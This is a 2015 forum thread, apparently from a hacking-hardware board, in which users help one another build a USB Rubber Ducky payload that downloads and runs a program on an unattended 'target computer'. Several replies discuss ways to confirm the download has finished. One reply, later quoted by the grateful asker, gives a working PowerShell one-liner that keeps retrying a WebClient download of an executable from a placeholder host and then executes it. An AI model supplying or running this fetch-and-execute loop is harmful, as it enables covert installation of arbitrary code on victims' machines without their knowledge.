this-is-me Posted November 12, 2015 Posted November 12, 2015 I was wondering if there is a method to ensure a download from PowerShell is finished before executing. After all, we aren't going to be monitoring the computer ourselves once the ducky has begun its background process, now are we?If. for example, the target computer is offline, is there a way to get PowerShell to keep trying until internet access is gained? I know there are other ways of handling this, such as keeping the file on the MicroSD and using twin duck. However, I am looking for a solution that allows me to walk away, and I'm not sure the read speed of the duck is enough. Quote
overwraith Posted November 13, 2015 Posted November 13, 2015 Whenever I need something like this I start the download at the very beginning of the duckscript, do all the precursory operations, and if I need to I insert a big delay, of about 7 or 8 seconds or something. Then I execute the downloaded program. What you might be able to do is md5 the file if it is fairly constant, and create a background task that md5's the file every few seconds, to determine if the hash matches what the final hash should be. If the download locks the file instead of sharing it however it might not be possible to do. If the file is not complete, the hashes will not match. This also hinges on the assumption that powershell has some sort of md5 function. I don't really know all that much about powershell, I just google what I need. Quote
this-is-me Posted November 14, 2015 Author Posted November 14, 2015 Thanks for your suggestions. Quote
Dice Posted November 16, 2015 Posted November 16, 2015 To use / compare md5 : http://stackoverflow.com/questions/10521061/how-to-get-an-md5-checksum-in-powershell but have you tried something easier ? : from : http://stackoverflow.com/questions/1199645/how-can-i-check-the-size-of-a-file-in-a-windows-batch-script Use the filesize of the downloaded file to check if its complete ? Set objFS = CreateObject("Scripting.FileSystemObject")Set wshArgs = WScript.ArgumentsstrFile = wshArgs(0)WScript.Echo objFS.GetFile(strFile).Size & " bytes" use a set to determine the size; while downloadedsize < set_size sleep Easier then using md5 hashes Quote
overwraith Posted November 17, 2015 Posted November 17, 2015 That's also a legitmate solution. That's a good one, I'm printing that one out. TY Dice. Quote
White Light Posted November 22, 2015 Posted November 22, 2015 I see a bunch of suggestions that are "easier", but why not just continuously retry the download using just powershell? That way you don't need to worry about walking away. do{sleep 5;(New-Object Net.WebClient).DownloadFile('http://yourhost.com/helpfulexecutable.exe','C:\helper.exe')}while(!$?);&'C:\helper.exe' Should work just fine. It'll loop forever until the file is downloaded (or until the process is closed), then it runs it. Quote
this-is-me Posted November 22, 2015 Author Posted November 22, 2015 Thank you so much!.This is EXACTLY what I wanted. It even functions when the file is large, and the internet connection fails mid-stream. It seems to be able to resume the file transfer. I am grateful, White Light, that you provided this information.For those who use this code, however, a warning: The target folder must exist, or else there will be a never-ending exception. I see a bunch of suggestions that are "easier", but why not just continuously retry the download using just powershell? That way you don't need to worry about walking away. do{sleep 5;(New-Object Net.WebClient).DownloadFile('http://yourhost.com/helpfulexecutable.exe','C:\helper.exe')}while(!$?);&'C:\helper.exe' Should work just fine. It'll loop forever until the file is downloaded (or until the process is closed), then it runs it. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.